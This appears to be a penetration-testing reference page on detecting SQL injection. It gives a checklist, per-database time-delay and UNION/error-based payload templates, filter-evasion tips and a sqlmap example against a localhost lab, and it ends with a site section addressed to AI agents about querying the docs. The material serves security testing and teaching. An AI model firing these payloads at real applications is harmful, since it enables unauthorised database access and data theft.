# Detection

Mostly SQL injection vulnerabilities can be found using modern scanners. However, for more complex scenarios such as second-order SQLi, manual testing can also be used.&#x20;

The goal with many of these tests is to invoke some behaviour change in the application. Be sure to closely monitor for:

* [ ] Content-Length header changes
* [ ] Error messages
* [ ] Changes in the data returned
* [ ] Delays
* [ ] Second-order (i.e. you inject somewhere, but another interaction is required to trigger the payload)

### Test cases:

* [ ] Test with single and double quotes
* [ ] Test with comments or terminators to mask the rest of the query
* [ ] Test with other special characters that can manipulate SQL statements
* [ ] Test with boolean conditions `and 1=1` and `and 1=2` (closely monitor the application response, in particular the Content-Length header)
* [ ] Test with functions that cause time delays
  * [ ] MySQL `sleep(5)`
  * [ ] PostgreSQL `pg_sleep(5)`
  * [ ] MS SQL Server `WAITFOR DELAY '0:0:05'`
  * [ ] Oracle `dbms_pipe.receive_message(('x'),5)`
* [ ] Test with out-of-band (OOB) or out-of-band application security testing (OAST) techniques
* [ ] Test for stacked queries
* [ ] Test for `UNION` keyword
  * [ ] `SELECT username,password FROM users UNION SELECT null,null`
  * [ ] Test for the number of columns using `null,null` or `ORDER BY 1` , `ORDER BY 2`
  * [ ] Test the data types with `'a',1` etc
* [ ] Test with different encoding techniques
* [ ] Test evasion techniques
  * [ ] Test with encoded payloads
  * [ ] Test with builting functions
    * [ ] E.g. `CHAR()`
  * [ ] Test ways to bypass commonly filtered characters
    * [ ] E.g. replacing space with `/**/`

### Detection syntax

#### General

```
{payload}--
{payload};--
{payload}#
'||{payload}--
'||{payload}#
"{payload}--
"{payload}#
' AND {payload}--
' OR {payload}--
' AND EXISTS({payload})--
' OR EXISTS({payload})--
```

#### MySQL

```
' UNION ALL SELECT {payload}--
' UNION SELECT {payload}--
' OR (SELECT {payload}) IS NOT NULL--
' OR (SELECT {payload}) IS NULL--
'||{payload}--
"||{payload}--
'||(SELECT {payload})--
"||(SELECT {payload})--
```

#### PostgeSQL

```
' UNION ALL SELECT {payload}--
' UNION SELECT {payload}--
' OR (SELECT {payload}) IS NOT NULL--
' OR (SELECT {payload}) IS NULL--
```

#### Oracle

```
' UNION ALL SELECT {payload} FROM dual--
' UNION SELECT {payload} FROM dual--
' OR (SELECT {payload} FROM dual) IS NOT NULL--
' OR (SELECT {payload} FROM dual) IS NULL--
'||({payload})--
'||{payload}||'--
"||{payload}||"--
'||(SELECT {payload} FROM dual)--
```

### MSSQL

```
' UNION ALL SELECT {payload}--
' UNION SELECT {payload}--
' OR (SELECT {payload}) IS NOT NULL--
' OR (SELECT {payload}) IS NULL--
'+{payload}+
"+{payload}+
'+'+(SELECT {payload})+
"+"+(SELECT {payload})+
```

### Other Payloads

```
OR {payload}=1
AND {payload}=1
AND IF({payload}, SLEEP(5), 1)
AND CASE WHEN {payload} THEN sleep(5) ELSE NULL END
AND {payload}
AND NOT {payload}
AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT('Error:',{payload},0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
```

### Tools:

#### SQLmap

The easiest way to get started with SQLmap is to either save a request to a file or copy a request as curl and change the curl command to sqlmap.

<figure><img src="https://86304134-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lI1MQhaUuVEjnryWVD9%2Fuploads%2FpPGpQqWvSFx8k9WKoBYk%2Fsqli-copy-curl.png?alt=media&#x26;token=d980ee31-b7b2-4b4f-8b52-60851170b5d3" alt=""><figcaption><p>Copying a request as cURL</p></figcaption></figure>

```
# Original curl request
curl 'http://localhost/labs/i0x01.php' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-GB,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://localhost' -H 'Connection: keep-alive' -H 'Referer: http://localhost/labs/i0x01.php' -H 'Cookie: csrf0x02=jeremy' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-Fetch-Dest: document' -H 'Sec-Fetch-Mode: navigate' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-User: ?1' --data-raw 'username=jeremy'

# Update 'curl' to 'sqlmap' and optionally add sqlmap flags
sqlmap 'http://localhost/labs/i0x01.php' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-GB,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://localhost' -H 'Connection: keep-alive' -H 'Referer: http://localhost/labs/i0x01.php' -H 'Cookie: csrf0x02=jeremy' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-Fetch-Dest: document' -H 'Sec-Fetch-Mode: navigate' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-User: ?1' --data-raw 'username=jeremy'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://appsecexplained.gitbook.io/appsecexplained/common-vulns/sql-injection-overview/detection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
